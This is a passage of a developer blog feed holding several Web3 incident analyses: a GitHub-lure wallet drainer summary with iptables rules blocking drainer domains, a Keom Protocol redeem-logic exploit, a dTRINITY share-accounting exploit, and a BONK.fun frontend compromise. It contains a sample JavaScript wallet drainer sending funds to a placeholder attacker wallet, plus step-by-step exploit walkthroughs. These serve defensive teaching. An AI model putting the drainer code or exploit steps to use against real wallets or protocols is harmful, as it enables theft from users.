iptables -A OUTPUT -d token-claw.xyz -j REJECT&lt;br&gt;
iptables -A OUTPUT -d watery-compost.today -j REJECT&lt;/p&gt;

&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Target selection&lt;br&gt;
Technique: GitHub public star enumeration&lt;br&gt;
Defense: Nothing stops this - awareness only&lt;br&gt;
Delivery&lt;br&gt;
Technique: GitHub @mention notification abuse&lt;br&gt;
Defense: Validate sender account age + repo&lt;br&gt;
Lure site&lt;br&gt;
Technique: Pixel-perfect domain clone&lt;br&gt;
Defense: Domain verification before wallet connect&lt;br&gt;
Payload&lt;br&gt;
Technique: Obfuscated JS (eleven.js)&lt;br&gt;
Defense: Runtime script injection detection&lt;br&gt;
Exfiltration&lt;br&gt;
Technique: Base64 POST to C2&lt;br&gt;
Defense: DNS-level domain blocking&lt;br&gt;
Evidence wipe&lt;br&gt;
Technique: nuke() clears storage and DOM&lt;br&gt;
Defense: Hardware wallet - JS cannot sign silently&lt;br&gt;
No part of this attack was technically sophisticated in the traditional sense. It was a precise assembly of trusted infrastructure, social pressure, and a well-written wallet drainer. The attacker's advantage was that developers extend implicit trust to GitHub notifications. That trust is the actual vulnerability.&lt;/p&gt;

</description>
      <category>web3</category>
      <category>github</category>
      <category>security</category>
      <category>walletdrainer</category>
    </item>
    <item>
      <title>Keom Protocol Exploit : Deep Dive Analysis Report</title>
      <dc:creator>Saravana kumar </dc:creator>
      <pubDate>Thu, 19 Mar 2026 09:24:10 +0000</pubDate>
      <link>https://dev.to/cryip/keom-protocol-exploit-deep-dive-analysis-report-4a7l</link>
      <guid>https://dev.to/cryip/keom-protocol-exploit-deep-dive-analysis-report-4a7l</guid>
      <description>&lt;p&gt;Keom Finance is a decentralized lending and borrowing protocol deployed on Polygon zkEVM. It is a direct fork of Compound Finance, one of the most widely-deployed DeFi lending protocols. In the Compound/Keom model, users deposit underlying tokens (e.g., USDC, ETH) and receive cTokens (called KTokens in Keom) representing their share of the pool. These cTokens accrue interest and can later be redeemed for the underlying asset plus earned yield. The redeem mechanism involves two primary functions: redeemUnderlying(uint redeemAmount) where the user specifies how much underlying they want back and redeemFresh(), the internal function that performs the actual accounting and transfer. The vulnerability resided entirely within redeemFresh().&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vulnerability Deep Dive
&lt;/h2&gt;

&lt;p&gt;The purpose of redeemFresh() is to validate a redemption request and execute the transfer. The function receives two core values: redeemTokens (the number of cTokens to burn) and redeemAmount (the amount of underlying tokens to return). In a standard redemption, these two values are mathematically linked by the current exchange rate:&lt;/p&gt;

&lt;p&gt;redeemAmount = redeemTokens * exchangeRate / 1e18&lt;br&gt;
// i.e., if you burn X cTokens, you receive X * exchangeRate underlying tokens&lt;/p&gt;

&lt;p&gt;The function must also ensure the user cannot redeem more cTokens than they actually hold,  a basic balance check. The critical requirement is: if redeemTokens is modified, redeemAmount must be recalculated to match.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Buggy Code (Lines 992–993)
&lt;/h2&gt;

&lt;p&gt;The vulnerable sequence of operations in the actual deployed code was as follows:&lt;br&gt;
/ STEP 1: Initialize from passed parameters&lt;br&gt;
uint redeemTokens = vars.redeemTokens; // e.g., 999,999,999,999 (large)&lt;br&gt;
uint redeemAmount = vars.redeemAmount; // e.g., full market cash = $94,000&lt;br&gt;
// STEP 2 (line 992): Calculate new total supply&lt;br&gt;
// BUG: uses redeemTokens BEFORE it has been capped&lt;br&gt;
vars.totalSupplyNew = totalSupply - redeemTokens;&lt;br&gt;
// STEP 3 (line 993): Cap redeemTokens to user's actual balance&lt;br&gt;
if (redeemTokens &amp;gt; balanceOf(msg.sender)) {&lt;br&gt;
redeemTokens = balanceOf(msg.sender); // e.g., capped to 1 wei&lt;br&gt;
}&lt;br&gt;
// STEP 4: Transfer — redeemAmount NEVER recalculated!&lt;br&gt;
// Still equals $94,000 even though redeemTokens is now 1 wei&lt;br&gt;
doTransferOut(msg.sender, redeemAmount); // TRANSFERS FULL MARKET CASH&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Is a Critical Bug
&lt;/h2&gt;

&lt;p&gt;After line 993, the contract correctly knows the user only has a tiny amount of cTokens.&lt;br&gt;
However, redeemAmount, the value that controls how much underlying is actually sent, was set in Step 1 and is never revisited.&lt;br&gt;
The contract burned 1 wei of cTokens but transferred the full $94,000 market balance.&lt;br&gt;
There is no additional check between the capping and the transfer to detect this inconsistency.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Correct Implementation
&lt;/h2&gt;

&lt;p&gt;The fix requires a single additional step: recalculate redeemAmount after capping redeemTokens. The corrected logic should be:&lt;/p&gt;

&lt;p&gt;// CORRECT ORDER OF OPERATIONS&lt;br&gt;
uint redeemTokens = vars.redeemTokens;&lt;br&gt;
uint redeemAmount = vars.redeemAmount;&lt;br&gt;
// STEP 1: Cap redeemTokens FIRST&lt;br&gt;
if (redeemTokens &amp;gt; balanceOf(msg.sender)) {&lt;br&gt;
redeemTokens = balanceOf(msg.sender);&lt;br&gt;
}&lt;br&gt;
// STEP 2: Recalculate redeemAmount based on capped redeemTokens&lt;br&gt;
redeemAmount = redeemTokens * exchangeRateCurrent() / 1e18; // &amp;lt;-- MISSING LINE&lt;br&gt;
// STEP 3: Now safe to calculate new totals&lt;br&gt;
vars.totalSupplyNew = totalSupply - redeemTokens;&lt;br&gt;
// STEP 4: Transfer the correctly bounded amount&lt;br&gt;
doTransferOut(msg.sender, redeemAmount);&lt;/p&gt;

&lt;h2&gt;
  
  
  Compound Finance Comparison
&lt;/h2&gt;

&lt;p&gt;In Compound Finance's original codebase, the redemption logic correctly sequences these operations.&lt;br&gt;
The bug in Keom was introduced during the fork and customisation process — the ordering of operations was altered without maintaining the invariant that redeemTokens and redeemAmount must always be consistent with each other.&lt;br&gt;
This is a textbook example of how a fork can introduce critical vulnerabilities that do not exist in the upstream protocol.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attack Walkthrough
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Step-by-Step Execution&lt;/strong&gt;&lt;br&gt;
The attack was elegant in its simplicity. No flash loans, no price manipulation, no multi-step reentrancy — just a single transaction exploiting the accounting flaw:&lt;br&gt;
Attacker deployed a malicious contract at 0x5a2f...f16f with 0.002 ETH as initial capital.&lt;br&gt;
The contract called KToken.mint() with a tiny amount of underlying tokens, receiving a minimal amount of KTokens (cTokens) in return.&lt;br&gt;
The contract then called redeemUnderlying(fullMarketCash), passing in the entire cash balance of the lending market as the redemption amount.&lt;br&gt;
Inside redeemFresh(), redeemAmount was set to the full market cash. redeemTokens was computed as the equivalent cTokens required (a huge number). totalSupplyNew was calculated using this huge uncapped value.&lt;br&gt;
redeemTokens was then capped to the attacker's tiny cToken balance, but redeemAmount remained at the full market cash figure.&lt;br&gt;
doTransferOut() transferred the full market cash balance to the attacker.&lt;br&gt;
Total profit: approximately $94,000 in a single transaction.&lt;br&gt;
&lt;strong&gt;Transaction Details&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Transaction Hash: 0x4ccde7fc6b240397...603d9dfd8&lt;/li&gt;
&lt;li&gt;Block Number: 30488585&lt;/li&gt;
&lt;li&gt;Timestamp: 2026-03-17 18:54:33 UTC&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Gas Information&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Gas Limit: 5,000,000&lt;/li&gt;
&lt;li&gt;Gas Price: 0.01 Gwei&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Addresses Involved&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;From (Attacker EOA): 0xb343fe12f86f785a88918599b29b690c4a5da6d5&lt;/li&gt;
&lt;li&gt;&lt;p&gt;To (Attack Contract): 0x5a2f4151ea961d3dfc4ddf116ca95bfa5865f16f&lt;br&gt;
&lt;strong&gt;Transaction Value&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ETH Sent: 0.002 ETH (initial capital)&lt;br&gt;
&lt;strong&gt;Additional Info&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Nonce: 0 (first transaction from this address)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Financial Impact
&lt;/h2&gt;

&lt;p&gt;Total Estimated Loss: ~$94,000 USD&lt;br&gt;
The attacker drained the full cash balance of the targeted KToken market in a single transaction.&lt;br&gt;
All liquidity providers in the affected market suffered a pro-rata loss on their deposits.&lt;br&gt;
Given Polygon zkEVM's scheduled deprecation in 2026, recovery options for affected users are extremely limited.&lt;/p&gt;

&lt;h2&gt;
  
  
  Broader Implications
&lt;/h2&gt;

&lt;p&gt;• Users who had deposited funds into the affected market lost their entire position with no mechanism for recovery.&lt;br&gt;
• The protocol was paused following the incident, preventing further exploitation but also preventing normal withdrawals.&lt;br&gt;
• Keom's reputation as a safe lending venue on zkEVM was severely damaged at a time when the L2 ecosystem was already contracting.&lt;br&gt;
• The exploit reinforced concerns about the security of Compound Finance forks, which have been a recurring source of DeFi losses in 2024–2026.&lt;/p&gt;

&lt;h2&gt;
  
  
  Root Cause Classification
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability Details&lt;/strong&gt;&lt;br&gt;
Vulnerability Category: Business Logic Error&lt;br&gt;
&lt;strong&gt;Classification&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CWE Category: CWE-840 – Business Logic Errors&lt;/li&gt;
&lt;li&gt;DeFi Category: Incorrect Variable Ordering / Stale State&lt;/li&gt;
&lt;li&gt;Compound Classification: Fork Divergence Bug&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Risk Assessment&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Exploitability: Trivial (no special tools required)&lt;/li&gt;
&lt;li&gt;Detectability: High (visible in a careful code review)&lt;/li&gt;
&lt;li&gt;CVSS Estimate: 9.8 (Critical)
&lt;strong&gt;Why Code Audits Miss These&lt;/strong&gt;
This class of bug is particularly dangerous because each individual line of code appears correct in isolation. The cap on line 993 looks like a proper safety check. The totalSupplyNew calculation on line 992 looks like standard accounting. The doTransferOut call looks like a normal transfer. The bug only becomes visible when you trace the data flow between variables, specifically, that redeemAmount is set before the cap and never updated afterward.
Automated tools like Slither can detect some variable-ordering issues, but this specific pattern, where a downstream variable depends on an upstream value that is subsequently modified, requires understanding the semantic intent of the variables, not just their syntactic usage. This is precisely where formal verification tooling and manual security review provide value that automated scanners miss.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Recommendations
&lt;/h2&gt;

&lt;p&gt;Add the missing redeemAmount recalculation immediately after any capping of redeemTokens.&lt;br&gt;
Redeploy the KToken contracts with the corrected logic after a full re-audit.&lt;br&gt;
Add an invariant check before doTransferOut: assert(redeemAmount == redeemTokens * exchangeRate / 1e18).&lt;br&gt;
&lt;strong&gt;Process Improvements for Compound Forks&lt;/strong&gt;&lt;br&gt;
Maintain a diff log of every change made from the upstream Compound codebase. Each departure from the original should be explicitly justified and reviewed.&lt;br&gt;
Add unit tests that specifically verify the relationship between redeemTokens and redeemAmount after every code path through redeemFresh().&lt;br&gt;
Implement fuzz testing against redemption functions — a fuzzer would likely have caught this by generating inputs where redeemAmount far exceeds what redeemTokens can cover.&lt;br&gt;
Engage a DeFi-specialized audit firm (e.g., Trail of Bits, Spearbit, Sherlock) with explicit experience auditing Compound forks before any mainnet deployment.&lt;br&gt;
Consider formal verification of the core accounting functions using tools like Certora Prover or Halmos.&lt;/p&gt;

&lt;h2&gt;
  
  
  Protocol-Level Safeguards
&lt;/h2&gt;

&lt;p&gt;Implement TVL-based circuit breakers: if a single transaction attempts to redeem more than X% of market liquidity, revert automatically.&lt;br&gt;
Add monitoring and alerting for abnormally large single-transaction redemptions relative to the depositor's balance.&lt;br&gt;
Consider timelocks on large withdrawals to allow community review of suspicious redemption activity.&lt;/p&gt;

</description>
      <category>keomprotocol</category>
      <category>web3</category>
      <category>hack</category>
      <category>blockchain</category>
    </item>
    <item>
      <title>dTRINITY Exploit Breakdown: $257K Lost Due to Share Accounting &amp; Index Sync Bug</title>
      <dc:creator>Saravana kumar </dc:creator>
      <pubDate>Wed, 18 Mar 2026 08:34:21 +0000</pubDate>
      <link>https://dev.to/cryip/dtrinity-exploit-breakdown-257k-lost-due-to-share-accounting-index-sync-bug-2k7a</link>
      <guid>https://dev.to/cryip/dtrinity-exploit-breakdown-257k-lost-due-to-share-accounting-index-sync-bug-2k7a</guid>
      <description>&lt;p&gt;In March 2025, the dTRINITY DeFi protocol suffered a critical exploit on its Ethereum deployment, specifically targeting the dLEND-dUSD lending pool. The attacker successfully drained approximately $257,061 in USDC, nearly wiping out the pool’s liquidity, which stood at around ~$435K.&lt;br&gt;
Unlike complex exploits involving oracle manipulation or reentrancy, this attack was rooted in a fundamental accounting flaw, a broken invariant between actual assets and internally calculated share value.&lt;br&gt;
By combining a flash loan, phantom collateral creation, and a repeated deposit-withdraw loop, the attacker was able to transform a small deposit into millions of dollars worth of perceived collateral.&lt;br&gt;
This incident serves as a critical lesson for DeFi developers:&lt;br&gt;
If your accounting invariants are broken, your protocol is already compromised.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Happened
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Network: Ethereum Mainnet&lt;/li&gt;
&lt;li&gt;Target: dLEND-dUSD Pool&lt;/li&gt;
&lt;li&gt;Total Loss: ~$257,061 USDC&lt;/li&gt;
&lt;li&gt;TVL at Time of Attack: ~$435K&lt;/li&gt;
&lt;li&gt;Attack Type: Inflation Attack + Invariant Violation&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  High-Level Attack Flow
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Flash loan acquired&lt;/li&gt;
&lt;li&gt;Small deposit made&lt;/li&gt;
&lt;li&gt;Protocol miscalculates collateral value&lt;/li&gt;
&lt;li&gt;Large borrow executed&lt;/li&gt;
&lt;li&gt;Repeated deposit/withdraw loops drain funds&lt;/li&gt;
&lt;li&gt;Flash loan repaid&lt;/li&gt;
&lt;li&gt;Profit extracted and laundered&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Technical Deep Dive
&lt;/h2&gt;

&lt;p&gt;Modern DeFi lending protocols rely on share-based accounting systems, similar to Aave or Compound.&lt;br&gt;
&lt;strong&gt;Core Formula&lt;/strong&gt;&lt;br&gt;
The system assumes:&lt;br&gt;
Total Assets = (Total Shares × Liquidity Index) / RAY&lt;/p&gt;

&lt;p&gt;Where:&lt;br&gt;
Total Shares = total supply of interest-bearing tokens&lt;br&gt;
Liquidity Index = accumulated interest multiplier&lt;/p&gt;

&lt;h2&gt;
  
  
  Expected Invariant
&lt;/h2&gt;

&lt;p&gt;uint256 realUSDC = underlying.balanceOf(address(this));&lt;br&gt;
uint256 accounted = (totalSupply() * liquidityIndex) / 1e27;&lt;/p&gt;

&lt;p&gt;require(realUSDC == accounted, "INVARIANT_BROKEN");&lt;/p&gt;

&lt;h2&gt;
  
  
  What Went Wrong?
&lt;/h2&gt;

&lt;p&gt;The protocol failed to maintain temporal consistency:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;liquidityIndex was not updated before deposit&lt;/li&gt;
&lt;li&gt;Deposit used a stale index&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Borrow used an inflated index&lt;br&gt;
This created a mismatch between:&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Real assets (actual USDC)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Accounted assets (calculated value)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Result
&lt;/h2&gt;

&lt;p&gt;A deposit of just 772 USDC was interpreted as:&lt;br&gt;
~$4.8 million worth of collateral&lt;br&gt;
This is known as:&lt;br&gt;
Phantom Collateral Creation&lt;/p&gt;

&lt;h2&gt;
  
  
  How the Attacker Exploited It
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Step-by-Step Breakdown&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Initiated a large flash loan&lt;/li&gt;
&lt;li&gt;Deposited 772 USDC&lt;/li&gt;
&lt;li&gt;Protocol credited ~$4.8M collateral (bug)&lt;/li&gt;
&lt;li&gt;Borrowed ~257K dUSD&lt;/li&gt;
&lt;li&gt;Executed 127 deposit/withdraw loops&lt;/li&gt;
&lt;li&gt;Each loop extracted real USDC due to mismatch&lt;/li&gt;
&lt;li&gt;Repaid flash loan within same transaction&lt;/li&gt;
&lt;li&gt;Sent profit to mixer&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Why the 127× Loop Worked
&lt;/h2&gt;

&lt;p&gt;Each deposit-withdraw cycle:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Exploited rounding + index inconsistency&lt;/li&gt;
&lt;li&gt;Extracted a small amount of real USDC
Individually insignificant, but:
Over 127 iterations - massive cumulative drain
This is called a:
Cumulative Extraction Attack&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Hidden Risk: Rounding Error Amplification
&lt;/h2&gt;

&lt;p&gt;Consider:&lt;br&gt;
shares = assets * 1e27 / index;&lt;/p&gt;

&lt;p&gt;If index is incorrect:&lt;br&gt;
Rounding becomes biased&lt;br&gt;
Attacker gains value per iteration&lt;br&gt;
Over many loops, this becomes highly profitable&lt;/p&gt;

&lt;h2&gt;
  
  
  Attacker Mindset
&lt;/h2&gt;

&lt;p&gt;Attackers don’t look for obvious bugs.&lt;br&gt;
They ask:&lt;br&gt;
Can I break assumptions?&lt;br&gt;
Can I manipulate state timing?&lt;br&gt;
Can I loop value extraction?&lt;br&gt;
In this case:&lt;br&gt;
A simple mismatch turned into a full exploit chain&lt;/p&gt;

&lt;h2&gt;
  
  
  Root Cause &amp;amp; Why Audit Missed It
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Root Causes&lt;/strong&gt;&lt;br&gt;
Index not updated before state changes&lt;br&gt;
No invariant enforcement&lt;br&gt;
No loop protection&lt;br&gt;
Share-price mismatch unchecked&lt;br&gt;
&lt;strong&gt;Why Audit Failed&lt;/strong&gt;&lt;br&gt;
Edge-case existed only in specific deployment&lt;br&gt;
Lack of stateful testing under repeated operations&lt;br&gt;
No invariant fuzzing&lt;br&gt;
Focus on logic, not economic behavior&lt;/p&gt;

&lt;h2&gt;
  
  
  How This Could Have Been Prevented
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Enforce Invariants&lt;/strong&gt;&lt;br&gt;
function _checkInvariant() internal view {&lt;br&gt;
    require(realAssets == accountedAssets, "Invariant broken");&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Update Index First&lt;/strong&gt;&lt;br&gt;
function deposit() external {&lt;br&gt;
    _updateLiquidityIndex();&lt;br&gt;
    // rest of logic&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Use Virtual Assets&lt;/strong&gt;&lt;br&gt;
uint256 constant VIRTUAL_ASSETS = 1e12;&lt;/p&gt;

&lt;p&gt;Prevents manipulation in low-liquidity scenarios.&lt;br&gt;
&lt;strong&gt;4. Add Loop Protection&lt;/strong&gt;&lt;br&gt;
nonReentrant modifier&lt;br&gt;
Limit operations per transaction&lt;br&gt;
Detect repeated patterns&lt;br&gt;
&lt;strong&gt;5. Invariant Fuzz Testing&lt;/strong&gt;&lt;br&gt;
function invariant_totalAssetsMatch() public {&lt;br&gt;
    assertEq(realAssets, accountedAssets);&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;Attack Simulation&lt;br&gt;
for (uint i = 0; i &amp;lt; 150; i++) {&lt;br&gt;
    deposit();&lt;br&gt;
    withdraw();&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Snapshot Index&lt;/strong&gt;&lt;br&gt;
borrowIndexSnapshot = liquidityIndex;&lt;/p&gt;

&lt;p&gt;Avoid using dynamic values mid-transaction.&lt;/p&gt;

&lt;h2&gt;
  
  
  Better Design Practices
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Use ERC-4626 vault standards&lt;/li&gt;
&lt;li&gt;Separate accounting &amp;amp; interest logic&lt;/li&gt;
&lt;li&gt;Avoid mixing state updates with calculations&lt;/li&gt;
&lt;li&gt;Prefer snapshot-based systems&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Production-Level Safeguards
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Circuit Breaker&lt;/strong&gt;&lt;br&gt;
if (abs(real - accounted) &amp;gt; threshold) {&lt;br&gt;
    pause();&lt;br&gt;
}&lt;br&gt;
&lt;strong&gt;Monitoring&lt;/strong&gt;&lt;br&gt;
Track:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Abnormal loops&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Index spikes&lt;br&gt;
Large borrow after small deposit&lt;br&gt;
&lt;strong&gt;Alerting&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;On-chain bots&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Defender automation&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Real-time invariant track&lt;br&gt;
ing&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Impact &amp;amp; Aftermath
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Nearly entire pool drained&lt;/li&gt;
&lt;li&gt;Ethereum deployment paused&lt;/li&gt;
&lt;li&gt;Loss covered by treasury&lt;/li&gt;
&lt;li&gt;Investigation ongoing
Other pools remained safe&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Similar Historical Exploits
&lt;/h2&gt;

&lt;p&gt;This pattern has appeared before:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cream Finance - share inflation&lt;/li&gt;
&lt;li&gt;Hundred Finance - rounding exploit&lt;/li&gt;
&lt;li&gt;Euler - accounting edge case
Same class of bug, different execution&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Small deposits can become massive risk&lt;/li&gt;
&lt;li&gt;Invariants are critical security guarantees&lt;/li&gt;
&lt;li&gt;Loops amplify tiny bugs into major exploits&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Developer Checklist
&lt;/h2&gt;

&lt;p&gt;Before deploying:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Is index updated before every operation?&lt;/li&gt;
&lt;li&gt;Does real balance equal accounted balance?&lt;/li&gt;
&lt;li&gt;Can loops extract value?&lt;/li&gt;
&lt;li&gt;Are invariants enforced?&lt;/li&gt;
&lt;li&gt;Are edge cases fuzz tested?&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This exploit was not due to complex hacking techniques, it was a basic accounting failure.&lt;br&gt;
In DeFi:&lt;br&gt;
Mathematical correctness is security.&lt;br&gt;
If your protocol allows phantom value creation,&lt;br&gt;
attackers will turn it into real money.&lt;/p&gt;

</description>
      <category>dtrinity</category>
      <category>blockchain</category>
      <category>web3</category>
    </item>
    <item>
      <title>How Developers Can Prevent Frontend Wallet Drainer Attacks: A Case Study of the BONK.fun Hack</title>
      <dc:creator>Saravana kumar </dc:creator>
      <pubDate>Fri, 13 Mar 2026 10:40:12 +0000</pubDate>
      <link>https://dev.to/cryip/how-developers-can-prevent-frontend-wallet-drainer-attacks-a-case-study-of-the-bonkfun-hack-29k4</link>
      <guid>https://dev.to/cryip/how-developers-can-prevent-frontend-wallet-drainer-attacks-a-case-study-of-the-bonkfun-hack-29k4</guid>
      <description>&lt;p&gt;The Solana ecosystem recently experienced a security incident involving the launchpad BONK.fun. Attackers compromised a team account and injected malicious code into the website that triggered a wallet drainer attack.&lt;br&gt;
The breach tricked users into signing a fake Terms of Service prompt, which executed a malicious script that transferred tokens from connected wallets to attacker-controlled addresses.&lt;br&gt;
This incident did not involve a smart contract exploit, but instead exposed a critical weakness that many Web3 platforms overlook:&lt;br&gt;
Frontend infrastructure and developer account security can be just as critical as smart contract security.&lt;br&gt;
This article breaks down the technical attack vector and explains how developers can prevent similar attacks using secure engineering practices.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Happened in the BONK.fun Hack
&lt;/h2&gt;

&lt;p&gt;Attackers gained access to an internal team account and used that access to modify the platform’s frontend.&lt;br&gt;
&lt;strong&gt;Attack sequence:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Attacker compromised an internal team account&lt;/li&gt;
&lt;li&gt;Malicious code was deployed to the website&lt;/li&gt;
&lt;li&gt;A fake Terms of Service signature prompt appeared&lt;/li&gt;
&lt;li&gt;Users clicked Approve / Sign&lt;/li&gt;
&lt;li&gt;The malicious script executed&lt;/li&gt;
&lt;li&gt;Wallet permissions were abused&lt;/li&gt;
&lt;li&gt;Tokens were transferred to attacker-controlled wallets
This was a frontend compromise, not a blockchain exploit.
&lt;strong&gt;Incident Summary&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Smart Contract   → Not compromised&lt;br&gt;&lt;br&gt;
Solana Network   → Secure&lt;br&gt;&lt;br&gt;
Frontend Website → Compromised&lt;br&gt;&lt;br&gt;
Team Account     → Unauthorized access&lt;/p&gt;

&lt;p&gt;Only users who interacted with the website after the malicious code deployment and approved the signature request were affected.&lt;/p&gt;

&lt;h2&gt;
  
  
  Technical Attack Flow
&lt;/h2&gt;

&lt;p&gt;The attack likely followed this pattern:&lt;br&gt;
Attacker&lt;br&gt;
   ↓&lt;br&gt;
Compromise Developer / Admin Account&lt;br&gt;
   ↓&lt;br&gt;
Push Malicious Frontend Update&lt;br&gt;
   ↓&lt;br&gt;
Website Displays Fake Wallet Signature Prompt&lt;br&gt;
   ↓&lt;br&gt;
User Signs Message&lt;br&gt;
   ↓&lt;br&gt;
Malicious Transaction Generated&lt;br&gt;
   ↓&lt;br&gt;
Wallet Drainer Transfers Funds&lt;/p&gt;

&lt;p&gt;The vulnerability exploited here is frontend trust.&lt;br&gt;
Users typically assume:&lt;br&gt;
If a Web3 application asks for a signature, it must be safe.&lt;br&gt;
Attackers exploit this assumption by manipulating the UI.&lt;/p&gt;

&lt;h2&gt;
  
  
  Example Wallet Drainer Mechanism
&lt;/h2&gt;

&lt;p&gt;A simplified example of how such a malicious script could drain funds.&lt;br&gt;
async function drainWallet(wallet) {&lt;/p&gt;

&lt;p&gt;const connection = new solanaWeb3.Connection(&lt;br&gt;
    solanaWeb3.clusterApiUrl("mainnet-beta")&lt;br&gt;
  );&lt;/p&gt;

&lt;p&gt;const attackerWallet = new solanaWeb3.PublicKey(&lt;br&gt;
    "ATTACKER_WALLET_ADDRESS"&lt;br&gt;
  );&lt;/p&gt;

&lt;p&gt;const transaction = new solanaWeb3.Transaction().add(&lt;br&gt;
    solanaWeb3.SystemProgram.transfer({&lt;br&gt;
      fromPubkey: wallet.publicKey,&lt;br&gt;
      toPubkey: attackerWallet,&lt;br&gt;
      lamports: 1000000000&lt;br&gt;
    })&lt;br&gt;
  );&lt;/p&gt;

&lt;p&gt;const signedTx = await wallet.signTransaction(transaction);&lt;/p&gt;

&lt;p&gt;const txid = await connection.sendRawTransaction(&lt;br&gt;
    signedTx.serialize()&lt;br&gt;
  );&lt;/p&gt;

&lt;p&gt;console.log("Funds transferred:", txid);&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;If the user signs the transaction, the wallet authorizes the transfer, enabling the attacker to drain assets.&lt;/p&gt;

&lt;h2&gt;
  
  
  Root Cause Analysis
&lt;/h2&gt;

&lt;p&gt;The incident was caused by infrastructure and operational security failures, not blockchain vulnerabilities.&lt;br&gt;
&lt;strong&gt;1. Compromised Developer Account&lt;/strong&gt;&lt;br&gt;
Attackers likely gained access through:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;credential phishing&lt;/li&gt;
&lt;li&gt;weak passwords&lt;/li&gt;
&lt;li&gt;stolen API keys&lt;/li&gt;
&lt;li&gt;&lt;p&gt;lack of multi-factor authentication&lt;br&gt;
&lt;strong&gt;2. Unprotected Deployment Pipeline&lt;/strong&gt;&lt;br&gt;
Malicious code was deployed without safeguards such as:&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;commit signature verification&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;build validation&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;release approvals&lt;br&gt;
&lt;strong&gt;3. Lack of Frontend Integrity Protection&lt;/strong&gt;&lt;br&gt;
The platform lacked controls to detect unauthorized script changes.&lt;br&gt;
&lt;strong&gt;4. Unsafe Wallet Signature UX&lt;/strong&gt;&lt;br&gt;
Users were asked to sign unclear messages without understanding the action.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Secure Architecture for Web3 Platforms
&lt;/h2&gt;

&lt;p&gt;Developers should treat the frontend as a critical security layer.&lt;br&gt;
Recommended architecture:&lt;br&gt;
Developer&lt;br&gt;
   ↓&lt;br&gt;
Version Control (Git)&lt;br&gt;
   ↓&lt;br&gt;
